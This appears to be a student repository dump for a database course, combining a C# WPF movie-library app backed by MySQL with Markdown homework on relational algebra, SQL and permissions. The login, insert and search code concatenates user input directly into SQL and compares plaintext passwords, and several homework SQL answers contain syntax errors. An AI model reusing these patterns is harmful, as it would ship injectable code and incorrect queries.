pHashCompare(reader["img_info"].ToString(), pHash); //读取每一张图片的灰度信息,与上传的信息相比较,得到有多少灰度等级的频率不同 //最后将比较结果按照顺序存放在imgOrder里边 } reader.Close(); int[] index = sortDistance(imgOrder);//调用自定义排序方法 return index; } public int[] searchResult(string upGray) { int[] imgOrder = new int[100]; int n = 0; string sql = "select img_info from db_movie_info"; MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); MySqlCommand cmd = new MySqlCommand(sql, conn); MySqlDataReader reader = cmd.ExecuteReader(); while (reader.Read()) { imgOrder[n++] = compare(reader["img_info"].ToString(), upGray); //读取每一张图片的灰度信息,与上传的信息相比较,得到有多少灰度等级的频率不同 //最后将比较结果按照顺序存放在imgOrder里边 } reader.Close(); int[] index = sortGray(imgOrder);//调用自定义排序方法 return index; } private int[] sortDistance(int[] imgOrder) { int len = imgOrder.Length; int[] index = new int[len]; int temp; for (int i = 0; i < len; i++) index[i] = i;//用于存储下标 for (int j = 0; j < len; j++) for (int i = 0; i < len - j - 1; i++)//降序排序 { if (imgOrder[i] < imgOrder[i + 1]) { //交换数值 temp = imgOrder[i]; imgOrder[i] = imgOrder[i + 1]; imgOrder[i + 1] = temp; //交换下标 temp = index[i]; index[i] = index[i + 1]; index[i + 1] = temp; } } return index; } //排序,索引不变排序法 private int[] sortGray(int[] imgOrder) { int len = imgOrder.Length; int[] index = new int[len]; int temp ; for (int i = 0; i < len; i++) index[i] = i;//用于存储下标 for (int j = 0; j < len; j++) for (int i = 0; i < len - j - 1; i++)//降序排序 { if (imgOrder[i] < imgOrder[i + 1]) { //交换数值 temp = imgOrder[i]; imgOrder[i] = imgOrder[i + 1]; imgOrder[i + 1] = temp; //交换下标 temp = index[i]; index[i] = index[i + 1]; index[i + 1] = temp; } } return index; } } } <file_sep>/课后作业/作业2.md ![image-20200327211439829](作业2.assets/image-20200327211439829.png) 3. 定义并理解下列术语,说明他们的区别与联系 1. 域,笛卡尔积,关系,元组,属性 * 域:域是一组具有相同数据类型的值的集合。如自然数,整数,复数,字符串等。 * 笛卡尔积:给定一组域$D_1,D_2,\cdots,D_n$,允许其中某些域是相同的,那么$D_1,D_2,\cdots,D_n$的笛卡尔积为 $D_1\times{D_2}\times\cdots\times{D_n}=\{(d_1,d_2,\cdots,d_n)|d_i\in{D_i},i=1,2,\cdots,n\}$ 即各个域的所有值进行全排列生成的一系列数据。 * 元组:元素$(d_1,d_2,\cdots,d_n)$叫做一个n元组,或者简称元组。或者也可以理解为关系或笛卡尔积中的一个元素,也就是他们中的一行。 * 关系:$D_1\times{D_2}\times\cdots\times{D_n}$的子集叫做在域$D_1,D_2,\cdots,D_n$上的关系,表示为$R(D_1,D_2,\cdots,D_n)$,即笛卡尔积的子集。 * 属性:关系也是一个二维表,表的每行对应于一个元组,表的每列对应于一个域。由于域可以相同,为了加以区分,必须为每列起一个名字,称为属性。 联系与区别: 先分别介绍,之后再区分。 按照答题顺序描述出他们的关系。 2. 主码,候选码,外部码 * 候选码:关系中的某一属性组的值能唯一地标识一个元组,而其子集不能。 * 主码:若一个关系有多个候选码,则选定其中一个为主码。 * 外部码:设F是基本关系R的一个或一组属性,但不是关系R的码,如果F与基本关系S的主码Ks相对应,则称F是基本关系R的外部码,简称外码。基本关系R称为参照关系,基本关系S称为被参照关系或目标关系。关系R和S考研时相同的关系。 3. 关系模式,关系,关系数据库 * 关系模式:关系的描述称为关系模式,可以形式化地将其表示为 R(U,D,dom,F)  * 关系:关系是关系模式在某一时刻的状态或内容。关系模式是静态的、稳定的,而关系是动态的、随时间不断变化的,因为关系操作在不断的更行数据库中的数据。 * 关系数据库:关系数据库也有型和值之分。关系数据库的型也称为关系数据库模式,是对关系数据库的描述,它包括若干域的定义及在这些域上所定义的若干关系模式。关系数据库的值是这些关系模式在某一时刻所对应的关系的集合,通常被称为关系数据库。 5. 试着描述关系模型的完整性规则。在参照完整性中,说明什么情况下外码属性的值可以为空值? * 关系模型必须满足的完整性条件 * 实体完整性 * 若A是关系R(U)(A∈U)上的主属性,则属性A不能取空值。 即主属性不能为空。 * 参照完整性 * 属性(属性组)X是关系R的外部码,Ks是关系 S的主码,且X与Ks相对应(即X, Ks是定义在同一个域上),则R中任一元组在X上的值为:X= 空值或S中的某个元组的Ks值。 即要参照的东西要么时主属性,要么就没有。 * 即属性F本身不是主属性时可以取空值,否则不能取空值。 6. ![image-20200327220059829](作业2.assets/image-20200327220059829.png) 1. 求供应工程J1零件的供应商号码SNO; $$\prod_{SNO}(\sigma_{JNO='J1'}(SPJ))$$ 2. 求供应工程J1零件P1的供应商号码SNO $$\prod_{SNO}(\sigma_{JNO='J1' \bigwedge PNO='P1'}(SPJ))$$ 3. 求供应工程J1零件为红色的供应商号码SNO $$\prod_{SNO}(\sigma_{JNO='J1'}(SPJ)\bowtie\prod_{PNO}(\sigma_{COLOR='红'}(P))$$ 4. 求没有使用天津供应商生产的红色零件的工程号JNO; $$\prod_{JNO}(\sigma_{COLOR<>'红'\bigvee CITY<>'天津'}(SPJ\bowtie{P}\bowtie{S}))$$ 5. 求至少用了供应商S1所提供给定全部零件的工程号JNO; $$\prod_{JNO,PNO}(\sigma_{SNO='S1'}(SPJ))\div\prod_{PNO}(P)$$ 7. 练习题 1. 查询计算机系的全体学生 $\sigma_{Sdept='CS'}(S)$ 2. 查询有那些系 $\prod_{Sdept}(S)$ 3. 查询至少选修1号课程和3号课程的学生学号 $\prod_{Sno,Cno}(SC)\div\prod_{Cno}(\sigma_{Cno='1'\bigvee Cno='3'}(Cno))$ 4. 查询选修了2号课程的学生学号 $\prod_{Sno}(\sigma_{Cno='2'}(SC))$ 5. 查询至少选修了一门其先修课程为5号课程的学生姓名 $\prod_{Sname}(\sigma_{Cpmo='5'} \bowtie SC \bowtie \prod_{Sno,Sname}(S) )$ 6. 查询选秀了全部课程的学生学号和姓名 $(\prod_{Sno,Cno}(SC)\div \prod_{Cno}(C) )\bowtie\prod_{Sno,Sname}(S)$ <file_sep>/实验报告/20200521/myMovieSystem/myMovieSystem/load.xaml.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Shapes; using MySql.Data.MySqlClient;//引用数据库相关的库 using System.Windows.Forms; namespace myMovieSystem { /// <summary> /// load.xaml 的交互逻辑 /// </summary> public partial class load : Window { public static string Conn = "Server=localhost;User Id=root1;password=<PASSWORD>;Database=dbclass;Charset=utf8"; //创建一个字符串,存储的是数据库连接的信息,包括服务器、用户名、密码、数据库名、编码方式 public load() { InitializeComponent(); } private void sendButton_Click(object sender, RoutedEventArgs e) { insertInfo(); } //复制文件到指定路径,并返回新路径 private string[] copyPM() { if (!System.IO.Directory.Exists("...\\poster")) { // 如果路径不存在,建立路径 System.IO.Directory.CreateDirectory("...\\poster"); } if (!System.IO.Directory.Exists("...\\movie")) { // 如果路径不存在,建立路径 System.IO.Directory.CreateDirectory("...\\movie"); } string[] newPath =new string[2]; System.IO.DirectoryInfo topDir = System.IO.Directory.GetParent(System.Environment.CurrentDirectory); // 获取该工程运行目录的父目录(到bin) newPath[0]= topDir + "\\poster\\" + System.IO.Path.GetFileName(this.posterBox.Text); //获取海报文件的完整路径(新路径) System.IO.File.Copy(posterBox.Text, newPath[0],true);//true表示可以覆盖原有文件 //将海报文件复制到指定路径下 newPath[1] = topDir + "\\movie\\" + System.IO.Path.GetFileName(this.movieBox.Text); //将电影文件的新路径返回到newPath[1]中,并复制文件到新路径中 System.IO.File.Copy(movieBox.Text, newPath[1], true);//true表示可以覆盖原有文件 newPath[0] = newPath[0].Replace("\\", "/");//将路径中的\\换成/ newPath[1] = newPath[1].Replace("\\", "/"); return newPath; } private void insertInfo() { try { string movieName = nameBox.Text;//添加获取电影名称的代码 string startTime = timeBox.Text;//添加获取上映时间的代码 string director = directorBox.Text;//添加获取导演的代码 string actors = actorBox.Text;//添加获取演员的代码 string introduction = introBox.Text;//添加获取简介的代码 string[] newPath = new string[2]; newPath = copyPM();//将上载的文件复制到指定路径下,并返回路径 //预留接口,为上载图像信息做准备 imageSearch imgSearch = new imageSearch(); string imgInfo = imgSearch.getPHash(newPath[0]); ;// 获取上载图像的灰度值 MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); string sql = "insert into db_movie_info value('" + movieName + "','" + startTime + "','" + director + "','"+ actors + "','" + introduction + "','"+ newPath[0] + "','" + newPath[1] + "','" + imgInfo+ "');";//填写插入语句; MySqlCommand cmd = new MySqlCommand(sql, conn); cmd.ExecuteNonQuery(); System.Windows.MessageBox.Show("上载成功!"); } catch (Exception ex) { System.Windows.MessageBox.Show(ex.Message, "插入数据库失败"); } } //打开文件对话框 public string OpenDialog(String filt)//参数为文件过滤类型说明 { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.Title = "选择文件"; openFileDialog.Filter = filt; openFileDialog.FileName = string.Empty; openFileDialog.FilterIndex = 1; openFileDialog.RestoreDirectory = true; if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) { string filePath = openFileDialog.FileName; return filePath; } else return null; } private void posterButton_Click(object sender, RoutedEventArgs e) { try { String filt = "图片文件|*.jpg;*.jpeg;*.bmp;"; this.posterBox.Text = OpenDialog(filt); } catch { return;//防止未选择文件就关闭窗口 } } private void movieButton_Click(object sender, RoutedEventArgs e) { try { String filt = "视频文件|*.mp4;*.avi;*.rmvb;"; this.movieBox.Text = OpenDialog(filt); } catch { return;//防止未选择文件就关闭窗口 } } private void backButton_Click(object sender, RoutedEventArgs e) { homePage hp = new homePage(); hp.Show(); this.Close(); } private void posterBox_TextChanged(object sender, TextChangedEventArgs e) { } private void nameBox_TextChanged(object sender, TextChangedEventArgs e) { } } } <file_sep>/课后作业/作业5.md ![image-20200502222445058](作业5.assets/image-20200502222445058.png) 2. **数据库的完整性概念与数据库的安全性概念有什么区别和联系** * 区别 * 完整性约束为了防止数据库中出现不符合语义的数据,防止错误信息的输入输出所造成的无效操作也错误结果。对象是不和语义的数据。 * 安全性是为了保护数据库中的数据,防止数据被而已破坏和非法存取。对象是非法用户和非法操作。 * 联系 * 均是为了保护数据库安全,防止错误数据的出现。 3. **什么是数据库的完整性约束条件,可以分为几类。** * 完整性约束条件是指数据库中的数据应该满足的语义约束条件。 * 可以分为六类 * 静态列级约束 * 静态元组约束 * 静态关系约束 * 动态列级约束 * 动态元组约束 * 动态关系约束 4. **假设有下面两个关系模式** 职工(职工号,姓名,年龄,职务,工资,部门号),其中职工号为主码。 部门(部门号,名称,经理名,电话),其中部门号为主码。 **用SQL语言定义这两个关系模式,要求完成下列完整性约束条件的定义。** * 定义每个模式的主码 * 定义参照完整性 * 定义职工你年龄不得超多60岁 ```sql CREATE TABLE DEPARTMENT ( DepartmentNo INT, DepartmentName VARCHAR(15), ManagerName VARCHAR(15), Telephone Char(12) CONSTRAINT DEPKEY PRIMARY KEY(DepartmentNo) ); CREATE TABLE EMPLOYEE ( EmployeeNo INT, EmployeeName VARCHAR(15), EmployeeAge INT, EmployeeJob VARCHAR(15), EmployeeSalary INT, DepartmentNo INT, CHECK(EmployeeAge <= 60), PRIMARY KEY(EmployeeNo), CONSTRAINT EMPREF PRIMARY KEY(EmployeeNO) FOREIGN(DepartmentNO) REFFERENCES DEPT(Deptno)) ); ``` <file_sep>/实验报告/20200521/myMovieSystem/myMovieSystem/homePage.xaml.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using MySql.Data.MySqlClient; using System.Windows.Shapes; using System.Drawing; namespace myMovieSystem { /// <summary> /// homePage.xaml 的交互逻辑 /// </summary> public partial class homePage : Window { public static string Conn = "Server=localhost;User Id=root1;password=<PASSWORD>;Database=dbclass;Charset=utf8"; int count = 0;//统计数据库中电影总数 int n = 0; //电影在数据库中的排序 string[,] getMovieInfo ;//定义二维数组,用于存储电影信息 public homePage() { InitializeComponent(); storeInfo("select * from db_movie_info;");//添加参数,要求查找到db_movieinfo表中的所有信息 showInfo(); upButton.IsEnabled = false; if (count <=2) downButton.IsEnabled = false; } private void storeInfo(string sql) { try { count = 0; n = 0; getMovieInfo = new string[100, 7];//初始化数组 MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); MySqlCommand cmd = new MySqlCommand(sql, conn); MySqlDataReader reader = cmd.ExecuteReader(); while (reader.Read()) { //添加代码,请将查询到的电影名称、上映时间、导演、 //演员、简介、海报路径、电影路径按顺序存储到数组中(参考登录页面) getMovieInfo[count, 0] = reader["movie_name"].ToString(); getMovieInfo[count, 1] = reader["time"].ToString(); getMovieInfo[count, 2] = reader["director"].ToString(); getMovieInfo[count, 3] = reader["actor"].ToString(); getMovieInfo[count, 4] = reader["content"].ToString(); getMovieInfo[count, 5] = reader["poster_path"].ToString(); getMovieInfo[count, 6] = reader["movie_path"].ToString(); count++; } reader.Close(); conn.Close(); } catch (Exception) { return; } } private void showInfo() { if (getMovieInfo[n, 0] != null) { BitmapImage img = new BitmapImage(new Uri(getMovieInfo[n, 5], UriKind.Absolute)); image1.Source = img; textBox1.Text = "电影名称:" + getMovieInfo[n, 0] + "\n上映时间:" + getMovieInfo[n, 1] + "\n导演:" + getMovieInfo[n, 2] + "\n演员:" + getMovieInfo[n, 3] + "\n简介:" + getMovieInfo[n, 4]; } else { image1.Source = null; textBox1.Text = ""; } n++; if (getMovieInfo[n, 0] != null) { BitmapImage img = new BitmapImage(new Uri(getMovieInfo[n, 5], UriKind.Absolute)); image2.Source = img; textBox2.Text = "电影名称:" + getMovieInfo[n, 0] + "\n上映时间:" + getMovieInfo[n, 1] + "\n导演:" + getMovieInfo[n, 2] + "\n演员:" + getMovieInfo[n, 3] + "\n简介:" + getMovieInfo[n, 4]; } else { image2.Source = null; textBox2.Text = ""; } n++; } private void downButton_Click(object sender, RoutedEventArgs e) { upButton.IsEnabled = true; showInfo(); if (n >= count) downButton.IsEnabled = false; } private void upButton_Click(object sender, RoutedEventArgs e) { downButton.IsEnabled = true; n = n - 4; //添加注释,说明n-4的原因:n指向的是数据库中的下一幅海报图像 //每页显示两幅图像,所以在运行前他指向的是当前页面下一幅图像的位置 //-2之后是当前页面第一幅图像在数据库的位置 //继续-2才是上一页的第一幅图像所在数据库的位置。所以n=n-4 if (n <= 0) upButton.IsEnabled = false; showInfo(); } private void load_Click(object sender, RoutedEventArgs e) { load load = new load(); load.Show(); this.Close(); } private void image1_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { if (e.ClickCount == 2)//如果鼠标点击了两次 { getMovieInfo[n - 2, 6] = getMovieInfo[n - 2, 6].Replace("/", @"\"); System.Diagnostics.Process.Start(getMovieInfo[n - 2, 6]); //因为n指向的是数据库中当前页面两幅图像之后下一幅图像的位置,所以第一幅图像的位置应该为n-2。因为他到n指向的图像相距为2。 } } catch(Exception) { MessageBox.Show("哎呀,播放视频失败了!"); } } private void image2_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { if (e.ClickCount == 2)//如果鼠标点击了两次 { getMovieInfo[n - 1, 6] = getMovieInfo[n - 1, 6].Replace("/", @"\"); System.Diagnostics.Process.Start(getMovieInfo[n - 1, 6]); //因为n指向的是数据库中当前页面两幅图像之后下一幅图像的位置,所以第二幅图像的位置应该为n-1。因为他到n指向的图像相距为1。 } } catch (Exception) { MessageBox.Show("哎呀,播放视频失败了!"); } } private void textSearch_Click(object sender, RoutedEventArgs e) { string content = text.Text;//添加代码,将查询框中的字符传输进来 string textSql = "select * from db_movie_info where movie_name like '%" + content + "%' or time like '%" + content + "%'or director like '%" + content + "%'or actor like '%" + content + "%'or content like '%" + content + "%'or poster_path like '%" + content + "%'or movie_path like '%" + content + "%'; ";//添加模糊查询语句,要求查询到包含查询框中文字的所有电影信息 storeInfo(textSql); showInfo(); if (count <= 2) downButton.IsEnabled = false; else downButton.IsEnabled = true; upButton.IsEnabled = false; } private void openDialog_Click(object sender, RoutedEventArgs e) { load load = new load(); String filt = "图片文件|*.jpg;*.jpeg;*.;"; image.Text = load.OpenDialog(filt); } private void imageSearch_Click(object sender, RoutedEventArgs e) { try { imageSearch imgSearch = new imageSearch(); //add by center var pHash = imgSearch.getPHash(image.Text); //获取上载图像的phash指 int[] imgOrder = imgSearch.pHashSearchResult(pHash);///获取与数据库中图像的比较结果 //string upGray = imgSearch.getGray(image.Text);//获取上载图像的灰度值 /*int[] imgOrder = imgSearch.searchResult(upGray);*///获取与数据库中图像的比较结果 count = 0; n = 0; string sql = "select * from db_movie_info;"; getMovieInfo = new string[100, 7];//初始化数组 MySqlConnection conn = new MySqlConnection(Conn); conn.Open(); MySqlCommand cmd = new MySqlCommand(sql, conn); MySqlDataReader reader = cmd.ExecuteReader(); while (reader.Read()) { //查找数组中的索引,需要理解一下 getMovieInfo[Array.IndexOf(imgOrder, count), 0] = reader["movie_name"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 1] = reader["time"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 2] = reader["director"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 3] = reader["actor"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 4] = reader["content"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 5] = reader["poster_path"].ToString(); getMovieInfo[Array.IndexOf(imgOrder, count), 6] = reader["movie_path"].ToString(); count++; } for (int i = 3; i < count; i++)//只取前3位 getMovieInfo[i, 0] = null; count = 3; showInfo(); downButton.IsEnabled = true; upButton.IsEnabled = false; } catch (Exception ex) { MessageBox.Show(ex.Message, "查询失败"); } } private void text_TextChanged(object sender, TextChangedEventArgs e) { } } } <file_sep>/课后作业/作业4.md ![image-20200424084642432](作业4.assets/image-20200424084642432.png) 1. 什么是数据库的安全性 数据库的安全性是指保护数据库以防止不合法的使用所造成的数据泄露、更改或破坏。 4. 叙述是现实数据库安全性控制的常用方法和技术 * 用户标识和鉴别:系统提供一定方式让用户标识自己的名字和身份,每次进入系统时由系统进行核对,鉴定后再提供系统的使用权。 * 存取控制:通过用户权限定义和合法权检查确保只有合法权限的用户访问数据库,所有未授权的人员无法存取数据。 * 视图机制:为不同的 用户定义视图,通过视图机制把要保密的数据对无权存取的用户隐藏起来,从而自动地对数据提供一定程度的安全保护。 * 审计:建立审计日志,把用户对数据库的所有操作自动记录下来放入审计日志中。 * 数据加密:对存储和传输的数据进行加密处理,从而使得不知道解密算法的人无法获知数据的内容。 3. 对下列两个关系模式 学生(学号,姓名,年龄,性别,家庭住址,班级号) 班级(班级号,班级名,班主任,班长) 使用GRANT语句完成下列授权功能。 * 授予用户U1对两个表的所有权限,并可以给其他用户授权。 ```sql GRANT ALL PRIVILEGES ON TABLE 学生,班级 TO U1 WITH GRANT OPTION; ``` * 授予用户U2对学生表具有查看权限,对家庭住址具有更新权限。 ```sql GRANT SELECT,UPDATE(家庭住址) ON TABLE 学生 TO U2; ``` * 将对班级查看权限授予所有用户。 ```sql GRANT SELECT ON TABLE 班级 TO PUBLIC ``` * 将对学生表的查询,更新权限授予角色R1。 ```sql GRANT SELECT, UPDATE ON TABLE 学生 TO R1; ``` * 将角色R1授予用户U1,并且U1可以继续授权给其他角色。 ```sql GRANT R1 TO U1 WITH ADMIN OPTION; ``` 4. 有两个关系模式: 职工(职工号,姓名,年龄,职务,工资,部门号) 部门(部门号,名称,经理名,地址,电话号) 使用SQL的GRANT和REVOKE语句加上视图机制,完成以下授权定义或存取控制功能。 * 用户王明对两个表有SELECT权限 ```sql GRANT SELECT ON TABLE 职工,部门 TO 王明 ``` * 用户刘星对职工表有SELECT权限,对工资字段具有更新权限 ```sql GRANT SELECT, UPDATE(工资) ON TABLE 职工 TO 刘星 ``` * 用户周平具有对两个表的所有权限(读,插,改,删),并具有给其他用户授权的权限。 ```sql GRANT ALL PRIVILIGES ON TABLE 职工,部门 TO 周平 WITH GRANT OPTION; ``` * 用户杨兰具有从每个部门职工中SELECT最高工资,最低工资,平均工资的权限,他不能查看每个人的工资。 ```sql CREATE VIEW 工资信息 AS SELECT 部门.名称, MAX(工资), MIN(工资), AVG(工资) FROM 职工, 部门 WHERE 职工.部门号 = 部门.部门号 GROUP BY 职工.部门号 GRANT SELECT ON 工资信息 TO 杨兰 ``` 5. 什么是数据库的审计功能,为什么提供审计功能。 * 审计功能是指DBMS 的审计模块在用户对数据库执行操作的同时把所有操作自动记录到系统的审计日志中。 * 因为任何系统的安全保护措施都不是完美无缺的,蓄意盗窃破坏数据的人总可能存在。利用数据库的审计功能,DBA 可以根据审计跟踪的信息,重现导致数据库现有状况的一系列事件,找出非法存取数据的人、时间和内容等。<file_sep>/README.md # 多媒体数据库 中国传媒大学课程《多媒体数据库》课后作业(含大作业)、课件以及实验报告<file_sep>/课后作业/作业3.md ![image-20200409115945294](作业3.assets/image-20200409115945294.png) 1. 试叙述SQL的特点 * 高度非过程化语言:用户只需提出“干什么”,至于“怎么干”由DBMS解决;用户只需要在查询语句中提出需要什么,DBMS即可完成存取操作,并把结果返回给用户。 * 面向集合的语言:每一个SQL的操作对象是一个或多个关系,操作的结果也是一个关系。 * 一种语法结构,两种使用方式:即可独立使用,又可嵌入到宿主语言中使用,具有**自主型和宿主型**两种特点。 * 具有查询、定义、操纵和控制四种语言一体化的特点。它只向用户提供一种语言,但该语言具有上述多种功能,可独立完成数据库生命周期中的全部活动。 * 语言简洁,易学易用 2. 说明DROP TABLE时,RESTRIDT和CASCADE的区别 * CASCADE::连同引用该表的试图、完整性约束一起自动撤销 * RESTRICT:没有表引用该表时,才可以撤销 3. 有两个关系S(A,B,C,D)和T(C,D,E,F),写出下列查询等价的SQL表达式 1. $\sigma_{A=10}(S)$ ```sql select * from S where A = '10'; ``` 2. $\prod_{A,B}(S)$ ```sql select A, B from S; ``` 3. $S\bowtie{T}$ ```sql select A, B, S.C, S.D, T.C, T.D, E, F from S, T where S.C = T.C and S.D = T.D ``` 4. $S\bowtie_{S.C=T.C}{T}$ ```sql select * from S, T where S.C = T.C; ``` 5. $S\bowtie_{A<E}{T}$ ```sql select * from S, T where S.A < T.E ``` 6. $\prod_{C,D}(S)\times{T}$ ```sql select S.C,S.D,T。* from S, T ``` 4. 用SQL语句建立第2章习题6中的4个表;针对建立的4个表用SQL语言完成第章习题中的查询。 建立S表: ```sql CREATE TABLE S( SNO CHAR(3), SNAME CHAR( 10), STATUS CHAR(2), CITY CHAR( 10) ); ``` 建立P表: ```sql CREATE TABLE P( PNO CHAR(3), PNAME CHAR( 10), COLOR CHAR(4), WEIGHT INT ); ``` 建立J表 ```sql CREATE TABLE J( JNO CHAR(3), JNAME CHAR( 10), CITY CHAR(10) ); ``` 建立SPJ表: ```sql CREATE TABLE SPJ( SNO CHAR(3), PNO CHAR(3), JNO CHAR(3), QTY INT ); ``` 查询: 1. 求供应工程J1零件的供应商号码SNO。 ```sql SELECT SNO FROM SPJ WHERE JNO='JI'; ``` 2. 求供应工程JI零件Pl的供应商号码SNO。 ```sql SELECT SNO FROM SPJ WHERE JNO= 'JI' AND PNO= 'P1'; ``` 3. 求供应工程JI零件为红色的供应商号码SNO。 ```sql SELECT SNO FROM SPJ WHERE JNO='J1' AND PNO IN( SELECT PNO FROM P WHERE COLOR='红' ); ``` 4. 没有使用天津供应商生产的红色零件的工程号JNO。 ```sql SELECT JNO FROM J WHERE NOT EXISTS ( SELECT * FROM SPJ,S,P WHERE SPJ.JNO = J.JNO AND SPJ.SNO = S.SNO AND SPJ.PNO = P.PNO AND S.CITY='天津' AND P.COLOR = '红' ); ``` 5. 至少用了供应商SI所供应的全部零件的工程号JNO。 ```sql SELECT DISTINCT JNO FROM SPJ SPJZ WHERE NOT EXISTS ( SELECT* FROM SPJ SPJX WHERE SNO='S1' AND NOT EXISTS ( SELECT * FROM SPJ SPJY WHERE SPJY.PNO = SPJX.PNO AND SPJY.JNO = SPJZ.JNO) ); ``` 5. 针对习题3中的4个表,试用SQL语言完成以下各项操作: 1. 出所有供应商的姓名和所在城市。 ```sql SELECT SNA ME, CITY FROM S; ``` 2. 找出所有零件的名称、颜色、重量。 ```sql SELECT PNAME,COLOR,WEIGHT FROM P; ``` 3. 找出使用供应商S1所供应零件的工程号码。 ```sql SELECT JNO FROM SPJ WHERE SNO='S1'; ``` 4. 找出工程项目J2使用的各种零件的名称及其数量。 ```sql SELECT P.PNAME,SPJ.QTY FROM P.SPJ WHERE P.PNO = SPJ.PNO AND SPJ.JNO='J2'; ``` 5. 找出上海厂商供应的所有零件号码。 ```sql SELECT DISTINCT PNO FROM SPJ WHERE SNO IN ( SELECT SNO FROM S WHERE CITY = '上海' ); ``` 6. 找出使用上海产的零件的工程名称。 ```sql SELECT JNAME FROM J,SPJ,S WHERE J.JNO = SPJ.JNO AND SPJ.SNO = S.SNO AND S.C1TY='上海'; ``` 7. 找出没有使用天津产的零件的工程号码。 ```sql SELECT JNO FROM J WHERE NOT EXISTS ( SELECT * FROM SPJ,S WHERE SPJ.JNO = J.JNO AND SPJ.SNO = S.SNO AND S.CITY='天津' ); ``` 8. 把全部红色零件的颜色改成蓝色。 ```sql UPDATE P SET COLOR = '蓝' WHERE COLOR ='红'; ``` 9. 由S5供给J4的零件P6改为由S3供应,请作必要的修改。 ```sql UPDATE SPJ SET SNO='S3' WHERE SNO='S5' AND JNO='J4' AND PNO='P6'; ``` 10. 从供应商关系中删除S2的记录,并从供应情况关系中删除相应的记录。 ```sql DELETE FROM SPJ WHERE SNO='S2'; DELETE FROM S WHERE SNO= 'S2'; ``` 11. 请将(S2,J6,P4,200)插入供应情况关系。 ```sql INSERT INTO SPJ(SNO,JNO,PNO,QTY) INTO VALUES(S2,J6,P4,200) ; ``` 6. 什么是基本表?什么是视图?两者的区别和联系是什么? * 基本表是本身独立存在的表,在SQL中一个关系就对应一个基本表。 * 视图是从一个或几个基本表导出的表。 * 视图本身不独立存储在数据库中,是一个虚表。即数据库中只存放视图的定义而不存放视图对应的数据,这些数据仍存放在导出视图的基本表中。 * 视图在概念上与基本表等同,用户可以如同基本表那样使用视图,可以在视图上再定义视图。<file_sep>/实验报告/20200521/myMovieSystem/myMovieSystem/MainWindow.xaml.cs using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using MySql.Data.MySqlClient;//添加注释 namespace myMovieSystem { /// <summary> /// MainWindow.xaml 的交互逻辑 /// </summary> public partial class MainWindow : Window { public static string Conn = "Server=localhost;User Id=root1;password=<PASSWORD>;Database=dbclass;Charset=utf8"; //创建一个字符串Conn,存储数据库连接所需要的信息,包括服务器、密码、用户名、数据库名、编码方式 private readonly int test = 1; void SaveImage(string hash, string name) { Bitmap newBitmap = new Bitmap(32, 32); string path = "C:\\Users\\MSI-PC\\Desktop\\database\\" + name; for( int i = 0; i < 32; ++ i ) { for( int j = 0; j < 32; ++ j ) { int pos = 8 * (i / 4) + j / 4; if( hash[pos] == '0') { var t = System.Drawing.Color.FromArgb(0, 0, 0); newBitmap.SetPixel(i, j, t); } else { var t = System.Drawing.Color.FromArgb(255, 255, 255); newBitmap.SetPixel(i, j, t); } } } newBitmap.Save(path); } public MainWindow() { InitializeComponent(); homePage hp = new homePage(); if( test == 1 ) { hp.Show(); this.Close(); var filePath = "C:\\Users\\MSI-PC\\Desktop\\database\\你的名字原版.jpg"; var comparePath = "C:\\Users\\MSI-PC\\Desktop\\database\\你的名字旋转.jpg"; imageSearch imgSearch = new imageSearch(); var oP = imgSearch.getPHash(filePath); var oA = imgSearch.getAHash(filePath); var pP = imgSearch.getPHash(comparePath); var pA = imgSearch.getAHash(comparePath); var ansP = imgSearch.pHashCompare(oP, pP); var ansA = imgSearch.pHashCompare(oA, pA); double ans1 = ansP / 64.0, ans2 = ansA / 64.0; SaveImage(oP, "op.jpg"); SaveImage(oA, "oA.jpg"); SaveImage(pP, "pP.jpg"); SaveImage(pA, "pA.jpg"); } } private void login_Click(object sender, RoutedEventArgs e) { String userName = nameBox.Text; String userPassword = <PASSWORD>; if (userName == "" || userPassword == "") { MessageBox.Show("请填写用户名和密码!"); return; } try { MySqlConnection connection = new MySqlConnection(Conn); connection.Open(); string sql = "select * from db_user where name ='" + userName + "'"; MySqlCommand cmd = new MySqlCommand(sql, connection); MySqlDataReader reader = cmd.ExecuteReader(); if (reader.Read())//如果成功读取到了数据 { string dbpassword = reader["password"].ToString();//获取数据库中存储的密码 if (userPassword != dbpassword)//如果用户输入的密码和数据库中存储的密码不相同 { MessageBox.Show("密码错误!"); return; } else { homePage hp = new homePage(); hp.Show(); this.Close(); } reader.Close();//读取完之后需要将reader关闭 } else { MessageBox.Show("该用户不存在!"); return; } connection.Close();//连接打开之后也要记得关闭 } catch { MessageBox.Show("连接数据库失败"); return; } } private void register_Click(object sender, RoutedEventArgs e) { register reg = new register(); reg.Show(); this.Close(); } } }
f89bc0b08b916759ef7a5af0b43fce59a06f8181
[ "Markdown", "C#" ]
12
Markdown
lzx-center/database
a7c01be88fe7dcb696d6aa54ac80d94a0d8cef1d
0954e57ffd376ffe4a322823df80e1d77d0a919a
refs/heads/master
